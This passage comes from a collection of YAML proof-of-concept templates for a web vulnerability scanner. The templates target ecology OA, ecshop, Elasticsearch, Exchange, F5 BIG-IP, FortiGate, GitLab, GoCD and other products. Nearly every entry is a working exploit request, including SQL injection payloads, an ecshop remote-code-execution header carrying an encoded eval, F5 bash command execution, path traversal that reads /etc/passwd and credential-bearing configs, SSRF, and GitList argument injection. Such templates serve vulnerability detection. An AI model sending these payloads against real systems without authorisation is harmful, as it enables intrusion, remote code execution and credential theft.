d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion+select+str({{r1}}*{{r2}})&capitalnum=-10
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
expression: r0()
detail:
author: fuping
links:
- https://news.ssssafe.com/archives/3325
- https://www.weaver.com.cn/cs/securityDownload.asp
================================================
FILE: pocs/ecology-workflowcentertreedata-sqli.yml
================================================
name: poc-yaml-ecology-workflowcentertreedata-sqli
manual: true
transport: http
set:
r1: randomInt(4000, 9999)
r2: randomInt(800, 1000)
rules:
r0:
request:
cache: true
method: POST
path: /mobile/browser/WorkflowCenterTreeData.jsp
headers:
Content-Type: application/x-www-form-urlencoded
body: node=wftype_1132232323231&scope=23332323&formids=1111111111111%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a)))union+select+1024,({{r1}}*{{r2}})+order+by+(((1
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
expression: r0()
detail:
author: JingLing(https://hackfun.org/)
links:
- https://anonfiles.com/A4cede8an1/_OA_WorkflowCenterTreeData_oracle_html
- https://mp.weixin.qq.com/s/9mpvppx3F-nTQYoPdY2r3w
================================================
FILE: pocs/ecshop-cnvd-2020-58823-sqli.yml
================================================
name: poc-yaml-ecshop-cnvd-2020-58823-sqli
manual: true
transport: http
set:
r1: randomInt(40000, 44800)
rules:
r0:
request:
cache: true
method: POST
path: /delete_cart_goods.php
body: id=0||(updatexml(1,concat(0x7e,(select%20md5({{r1}})),0x7e),1))
expression: response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31)))
expression: r0()
detail:
author: 凉风(http://webkiller.cn/)
links:
- https://mp.weixin.qq.com/s/1t0uglZNoZERMQpXVVjIPw
================================================
FILE: pocs/ecshop-collection-list-sqli.yml
================================================
name: poc-yaml-ecshop-collection-list-sqli
manual: true
transport: http
set:
r1: randomInt(10000, 99999)
rules:
r0:
request:
cache: true
method: GET
path: /user.php?act=collection_list
headers:
X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:55:"1' and updatexml(1,insert(md5({{r1}}),1,1,0x7e),1) and '";|45ea207d7a2b68c49582d2d22adf953a
follow_redirects: false
expression: response.body.bcontains(bytes(substr(md5(string(r1)), 1, 31)))
expression: r0()
detail:
author: 曦shen
links:
- https://github.com/vulhub/vulhub/tree/master/ecshop/collection_list-sqli
================================================
FILE: pocs/ecshop-rce.yml
================================================
name: poc-yaml-ecshop-rce
manual: true
transport: http
set:
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
v2x0:
request:
cache: true
method: POST
path: /user.php
headers:
Content-Type: application/x-www-form-urlencoded
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
body: action=login&pp123=printf({{r1}}*{{r2}});
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
v3x0:
request:
cache: true
method: POST
path: /user.php
headers:
Content-Type: application/x-www-form-urlencoded
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953aads
body: action=login&pp123=printf({{r1}}*{{r2}});
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
expression: v2x0() || v3x0()
detail:
author: 凉风(http://webkiller.cn/)
links:
- https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md
================================================
FILE: pocs/eea-info-leak-cnvd-2021-10543.yml
================================================
name: poc-yaml-eea-info-leak-cnvd-2021-10543
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /authenticationserverservlet
expression: response.status == 200 && "<username>(.*?)</username>".bmatches(response.body) && "<password>(.*?)</password>".bmatches(response.body)
expression: r0()
detail:
author: Search?=Null
links:
- https://exp1orer.github.io
description: MessageSolution Enterprise Email Archiving (EEA) Info Leak.
================================================
FILE: pocs/elasticsearch-cve-2014-3120.yml
================================================
name: poc-yaml-elasticsearch-cve-2014-3120
manual: true
transport: http
set:
r: randomInt(800000000, 1000000000)
r1: randomInt(800000000, 1000000000)
rules:
r0:
request:
cache: true
method: POST
path: /test/test1/123
headers:
Content-Type: application/json
body: |
{
"name": "test"
}
expression: response.status == 201 || response.status == 200
r1:
request:
cache: true
method: POST
path: /_search
headers:
Content-Type: application/json
body: |-
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "{{r}}+{{r1}}"
}
}
}
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(bytes(string(r + r1)))
expression: r0() && r1()
detail:
author: suancaiyu、violin
links:
- https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
elasticsearch: v1.1.1
================================================
FILE: pocs/elasticsearch-cve-2015-1427.yml
================================================
name: poc-yaml-elasticsearch-cve-2015-1427
manual: true
transport: http
set:
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
r0:
request:
cache: true
method: POST
path: /test/test
headers:
Content-Type: application/json
body: |
{
"name": "test"
}
expression: response.status == 201
r1:
request:
cache: true
method: POST
path: /_search
headers:
Content-Type: application/json
body: |
{
"size":1,
"script_fields":{
"lupin":{
"lang":"groovy",
"script":"{{r1}}*{{r2}}"
}
}
}
expression: response.status == 200 && response.content_type.icontains("json") && response.body.bcontains(bytes(string(r1 * r2)))
expression: r0() && r1()
detail:
author: pululin(https://github.com/pululin)
links:
- https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-1427
================================================
FILE: pocs/elasticsearch-cve-2015-3337-lfi.yml
================================================
name: poc-yaml-elasticsearch-cve-2015-3337-lfi
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /_plugin/head/../../../../../../../../../../../../../../../../etc/passwd
expression: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
expression: r0()
detail:
author: X.Yang
links:
- https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-3337
================================================
FILE: pocs/elasticsearch-cve-2015-5531.yml
================================================
name: poc-yaml-elasticsearch-cve-2015-5531
manual: true
transport: http
set:
r1: randomLowercase(4)
rules:
r0:
request:
cache: true
method: PUT
path: /_snapshot/{{r1}}
headers:
Content-Type: application/x-www-form-urlencoded
body: |-
{
"type": "fs",
"settings":{
"location": "/usr/share/elasticsearch/repo/{{r1}}"
}
}
follow_redirects: true
expression: response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"{\"acknowledged\":true}")
r1:
request:
cache: true
method: PUT
path: /_snapshot/{{r1}}2
headers:
Content-Type: application/x-www-form-urlencoded
body: |-
{
"type": "fs",
"settings":{
"location": "/usr/share/elasticsearch/repo/{{r1}}/snapshot-backdata"
}
}
follow_redirects: true
expression: response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"{\"acknowledged\":true}")
r2:
request:
cache: true
method: GET
path: /_snapshot/{{r1}}/backdata%2f..%2f..%2f..%2fconfig%2felasticsearch.yml
follow_redirects: true
expression: response.status == 400 && response.content_type.contains("application/json") && response.body.bcontains(b"{\"error\":\"ElasticsearchParseException[Failed to derive xcontent from")
expression: r0() && r1() && r2()
detail:
author: ha9worm(https://github.com/ha9worm)
links:
- https://www.cnblogs.com/sallyzhang/p/12457031.html
================================================
FILE: pocs/elasticsearch-unauth.yml
================================================
name: poc-yaml-elasticsearch-unauth
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /
follow_redirects: false
expression: response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"You Know, for Search")
r1:
request:
cache: true
method: GET
path: /_cat
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"/_cat/master")
expression: r0() && r1()
detail:
author: p0wd3r
links:
- https://yq.aliyun.com/articles/616757
================================================
FILE: pocs/etcd-unauth.yml
================================================
name: poc-yaml-etcd-unauth
manual: true
transport: http
set:
r1: randomLowercase(32)
r2: randomLowercase(32)
r3: randomLowercase(32)
rules:
r0:
request:
cache: true
method: PUT
path: /v2/keys/{{r1}}?dir=true
follow_redirects: false
expression: response.status == 201
r1:
request:
cache: true
method: PUT
path: /v2/keys/{{r1}}/{{r2}}?prevExist=false
headers:
Content-Type: application/x-www-form-urlencoded
body: value={{r3}}
follow_redirects: false
expression: response.status == 201
r2:
request:
cache: true
method: GET
path: /v2/keys/{{r1}}/{{r2}}?quorum=false&recursive=false&sorted=false
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(bytes(r3))
expression: r0() && r1() && r2()
detail:
author: j4ckzh0u(https://github.com/j4ckzh0u)
links:
- https://www.freebuf.com/news/196993.html
================================================
FILE: pocs/etouch-v2-sqli.yml
================================================
name: poc-yaml-etouch-v2-sqli
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /upload/mobile/index.php?c=category&a=asynclist&price_max=1.0%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)'
expression: response.status == 200 && response.body.bcontains(b"c4ca4238a0b923820dcc509a6f75849b")
expression: r0()
detail:
author: MaxSecurity(https://github.com/MaxSecurity)
links:
- https://github.com/mstxq17/CodeCheck/
- https://www.anquanke.com/post/id/168991
================================================
FILE: pocs/exchange-cve-2021-26855-ssrf.yml
================================================
name: poc-yaml-exchange-cve-2021-26855-ssrf
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /owa/auth/x.js
headers:
Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;
follow_redirects: false
expression: response.headers["X-CalculatedBETarget"].icontains("localhost")
expression: r0()
detail:
author: sharecast
links:
- https://github.com/microsoft/CSS-Exchange/blob/main/Security/http-vuln-cve2021-26855.nse
Affected Version: Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010
================================================
FILE: pocs/exchange-cve-2021-41349-xss.yml
================================================
name: poc-yaml-exchange-cve-2021-41349-xss
manual: true
transport: http
rules:
r0:
request:
method: POST
path: "/autodiscover/autodiscover.json"
headers:
Content-Type: application/x-www-form-urlencoded
body: <script>alert(1);+"=</script>
expression: |
response.status == 500 && response.body.bcontains(b"<script>alert(1)")
expression:
r0()
detail:
author: zhibing(https://github.com/azhibing)
links:
- https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-41349
- https://www.t00ls.cc/thread-63520-1-1.html
description: exchange反射型xss漏洞
================================================
FILE: pocs/f5-cve-2021-22986.yml
================================================
name: poc-yaml-f5-cve-2021-22986
manual: true
transport: http
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
r0:
request:
cache: true
method: POST
path: /mgmt/tm/util/bash
headers:
Authorization: Basic YWRtaW46
Content-Type: application/json
X-F5-Auth-Token: ' '
body: '{"command":"run","utilCmdArgs":"-c ''expr {{r1}} + {{r2}}''"}'
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
expression: r0()
detail:
author: Hex
links:
- https://support.f5.com/csp/article/K03009991
================================================
FILE: pocs/f5-tmui-cve-2020-5902-rce.yml
================================================
name: poc-yaml-f5-tmui-cve-2020-5902-rce
manual: true
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
headers:
Content-Type: application/x-www-form-urlencoded
body: fileName=%2Fetc%2Ff5-release
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(b"BIG-IP release")
expression: r0()
detail:
author: Jing Ling
links:
- https://support.f5.com/csp/article/K52145254
- https://github.com/rapid7/metasploit-framework/pull/13807/files
================================================
FILE: pocs/fangweicms-sqli.yml
================================================
name: poc-yaml-fangweicms-sqli
manual: true
transport: http
set:
rand: randomInt(200000000, 210000000)
rules:
r0:
request:
cache: true
method: GET
path: /index.php?m=Goods&a=showcate&id=103%20UNION%20ALL%20SELECT%20CONCAT%28md5({{rand}})%29%23
expression: response.body.bcontains(bytes(md5(string(rand))))
expression: r0()
detail:
author: Rexus
links:
- http://www.wujunjie.net/index.php/2015/08/02/%E6%96%B9%E7%BB%B4%E5%9B%A2%E8%B4%AD4-3%E6%9C%80%E6%96%B0%E7%89%88sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/
Affected Version: "4.3"
================================================
FILE: pocs/feifeicms-lfr.yml
================================================
name: poc-yaml-feifeicms-lfr
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /index.php?s=Admin-Data-down&id=../../Conf/config.php
expression: response.status == 200 && response.body.bcontains(b"<?php") && response.body.bcontains(b"db_name") && response.body.bcontains(b"db_pwd") && response.body.bcontains(b"db_host")
expression: r0()
detail:
author: jinqi
links:
- https://www.cnblogs.com/jinqi520/p/10202615.html
================================================
FILE: pocs/finecms-sqli.yml
================================================
name: poc-yaml-finecms-sqli
manual: true
transport: http
set:
rand: randomInt(200000000, 210000000)
rules:
r0:
request:
cache: true
method: GET
path: /index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=sql%20sql=%27select%20md5({{rand}})%27
expression: response.body.bcontains(bytes(md5(string(rand))))
expression: r0()
detail:
author: Rexus
links:
- https://blog.csdn.net/dfdhxb995397/article/details/101385340
Affected Version: 5.0.10
================================================
FILE: pocs/finereport-directory-traversal.yml
================================================
name: poc-yaml-finereport-directory-traversal
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"<rootManagerName>") && response.body.bcontains(b"<rootManagerPassword>")
expression: r0()
detail:
author: l1nk3r(http://www.lmxspace.com/)
links:
- http://foreversong.cn/archives/1378
================================================
FILE: pocs/flexpaper-cve-2018-11686.yml
================================================
name: poc-yaml-flexpaper-cve-2018-11686
manual: true
transport: http
set:
fileName: randomLowercase(6)
verifyStr: randomLowercase(6)
rules:
r0:
request:
cache: true
method: POST
path: /php/change_config.php
headers:
Content-Type: application/x-www-form-urlencoded
body: |
SAVE_CONFIG=1&PDF_Directory=a&SWF_Directory=config/&LICENSEKEY=a&SPLITMODE=a&RenderingOrder_PRIM=a&RenderingOrder_SEC=a
expression: response.status == 302 || response.status == 200
r1:
request:
cache: true
method: POST
path: /php/change_config.php
headers:
Content-Type: application/x-www-form-urlencoded
body: |
SAVE_CONFIG=1&PDF_Directory=a&SWF_Directory=config/&LICENSEKEY=a&SPLITMODE=a&RenderingOrder_PRIM=a&RenderingOrder_SEC=a
expression: response.status == 302 || response.status == 200
r2:
request:
cache: true
method: GET
path: /php/setup.php?step=2&PDF2SWF_PATH=printf%20{{verifyStr}}%25%25{{verifyStr}}%20%3e%20{{fileName}}
follow_redirects: false
expression: response.status == 200
r3:
request:
cache: true
method: GET
path: /php/{{fileName}}pdf2swf
expression: response.status == 200 && response.body.bcontains(bytes(string(verifyStr + "%" + verifyStr)))
expression: r0() && r1() && r2() && r3()
detail:
author: Soveless(https://github.com/Soveless)
links:
- https://github.com/mpgn/CVE-2018-11686
- https://cloud.tencent.com/developer/article/1472550
Affected Version: FlexPaper <= 2.3.6
================================================
FILE: pocs/flink-jobmanager-cve-2020-17519-lfi.yml
================================================
name: poc-yaml-flink-jobmanager-cve-2020-17519-lfi
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
expression: response.status == 200 && "^root:[x*]:0:0:".bmatches(response.body)
expression: r0()
detail:
author: MaxSecurity(https://github.com/MaxSecurity)
links:
- https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519
================================================
FILE: pocs/fortigate-cve-2018-13379-readfile.yml
================================================
name: poc-yaml-fortigate-cve-2018-13379-readfile
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
headers:
Content-Type: application/x-www-form-urlencoded
follow_redirects: true
expression: response.body.bcontains(bytes("fgt_lang")) && response.body.bcontains(bytes("Forticlient"))
expression: r0()
detail:
author: tom0li(https://tom0li.github.io/)
links:
- https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html
================================================
FILE: pocs/frp-dashboard-unauth.yml
================================================
name: poc-yaml-frp-dashboard-unauth
manual: true
transport: http
rules:
defaultpassword0:
request:
cache: true
method: GET
path: /api/proxy/tcp
follow_redirects: false
expression: response.status == 401 && response.body.bcontains(b"Unauthorized")
defaultpassword1:
request:
cache: true
method: GET
path: /api/proxy/tcp
headers:
Authorization: Basic YWRtaW46YWRtaW4=
follow_redirects: false
expression: response.status == 200 && response.content_type.contains("text/plain") && response.body.bcontains(b"proxies")
unauth0:
request:
cache: true
method: GET
path: /api/proxy/tcp
follow_redirects: true
expression: response.status == 200 && response.content_type.contains("text/plain") && response.body.bcontains(b"proxies")
expression: unauth0() || defaultpassword0() && defaultpassword1()
detail: {}
================================================
FILE: pocs/gateone-cve-2020-35736.yml
================================================
name: poc-yaml-gateone-cve-2020-35736
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(b"GateOne.init") && response.body.bcontains(b"href=\"/static/gateone.css\"")
r1:
request:
cache: true
method: GET
path: /downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
follow_redirects: false
expression: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
expression: r0() && r1()
detail:
author: tangshoupu
links:
- https://nvd.nist.gov/vuln/detail/CVE-2020-35736
================================================
FILE: pocs/gilacms-cve-2020-5515.yml
================================================
name: poc-yaml-gilacms-cve-2020-5515
manual: true
transport: http
set:
r1: randomInt(200000000, 210000000)
rules:
r0:
request:
cache: true
method: GET
path: /admin/sql?query=SELECT%20md5({{r1}})
expression: response.body.bcontains(bytes(md5(string(r1))))
expression: r0()
detail:
author: PickledFish(https://github.com/PickledFish)
links:
- https://infosecdb.wordpress.com/2020/01/05/gilacms-1-11-8-admin-sqlquery-sql-injection/
================================================
FILE: pocs/gitlab-graphql-info-leak-cve-2020-26413.yml
================================================
name: poc-yaml-gitlab-graphql-info-leak-cve-2020-26413
manual: true
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /api/graphql
headers:
Content-Type: application/json
body: '{"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}'
expression: response.status == 200 && "x-runtime" in response.headers && response.body.bcontains(b"{\"data\":{\"users\":{\"edges\":[{\"node\":{\"username\":\"") && "\",\"email\":\"[^\"]+@[^\"]+\"".bmatches(response.body)
expression: r0()
detail:
author: Print1n(https://github.com/Print1n)
links:
- https://fengchenzxc.github.io/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/GitLab/GitLab%20Graphql%E9%82%AE%E7%AE%B1%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E%20CVE-2020-26413/
description: GitLab Graphql邮箱信息泄露漏洞 CNVD-2021-14193 / CVE-2020-26413
================================================
FILE: pocs/gitlab-ssrf-cve-2021-22214.yml
================================================
name: poc-yaml-gitlab-ssrf-cve-2021-22214
manual: true
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /api/v4/ci/lint
headers:
Content-Type: application/json
body: |
{"include_merged_yaml": true, "content": "include:\n remote: http://baidu.com/api/v1/targets/?test.yml"}
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"{\"status\":\"invalid\",\"errors\":") && (response.body.bcontains(b"does not have valid YAML syntax") || response.body.bcontains(b"could not be fetched"))
expression: r0()
detail:
author: mumu0215(https://github.com/mumu0215)
links:
- https://mp.weixin.qq.com/s/HFug1khyfHmCujhc_Gm_yQ
================================================
FILE: pocs/gitlist-rce-cve-2018-1000533.yml
================================================
name: poc-yaml-gitlist-rce-cve-2018-1000533
manual: true
transport: http
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
r3: randomLowercase(8)
rules:
r0:
request:
cache: true
method: GET
path: /
expression: response.status == 200 && "gitlist".bmatches(response.body)
output:
search: '"<span class=\"name\">(?P<project_name>.+?)</span>".bsubmatch(response.body)'
project_name: search["project_name"]
r1:
request:
cache: true
method: POST
path: /{{project_name}}/tree/a/search
headers:
Content-Type: application/x-www-form-urlencoded
body: |
query=--open-files-in-pager=echo%20{{r3}}:$(expr%20{{r1}}%20%2b%20{{r2}}):{{r1}}:{{r1}}
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
expression: r0() && r1()
detail:
author: Print1n(https://print1n.top)
links:
- https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533
description: gitlist 0.6.0 远程命令执行漏洞（CVE-2018-1000533）
================================================
FILE: pocs/glassfish-cve-2017-1000028-lfi.yml
================================================
name: poc-yaml-glassfish-cve-2017-1000028-lfi
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /theme/META-INF/%c0%ae%c0%ae/META-INF/MANIFEST.MF
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(b"Ant-Version:") && response.body.bcontains(b"Manifest-Version:")
expression: r0()
detail:
author: sharecast
links:
- https://github.com/vulhub/vulhub/tree/master/glassfish/4.1.0
version: <4.1.0
================================================
FILE: pocs/go-pprof-leak.yml
================================================
name: poc-yaml-go-pprof-leak
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /debug/pprof/
expression: response.status == 200 && response.body.bcontains(bytes(string(b"Types of profiles available"))) && response.body.bcontains(bytes(string(b"Profile Descriptions")))
r1:
request:
cache: true
method: GET
path: /debug/pprof/goroutine?debug=1
expression: 'response.status == 200 && response.body.bcontains(bytes(string(b"goroutine profile: total")))'
expression: r0() && r1()
detail:
author: pa55w0rd(www.pa55w0rd.online/)
links:
- https://cloud.tencent.com/developer/news/312276
Affected Version: go pprof leak
================================================
FILE: pocs/gocd-cve-2021-43287.yml
================================================
name: poc-yaml-gocd-cve-2021-43287
manual: true
transport: http
rules:
linux0:
request:
cache: true
method: GET
path: /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../../../etc/passwd
follow_redirects: false
expression: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
windows0:
request:
cache: true
method: GET
path: /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../../../windows/win.ini
follow_redirects: false
expression: response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]"))
expression: windows0() || linux0()
detail:
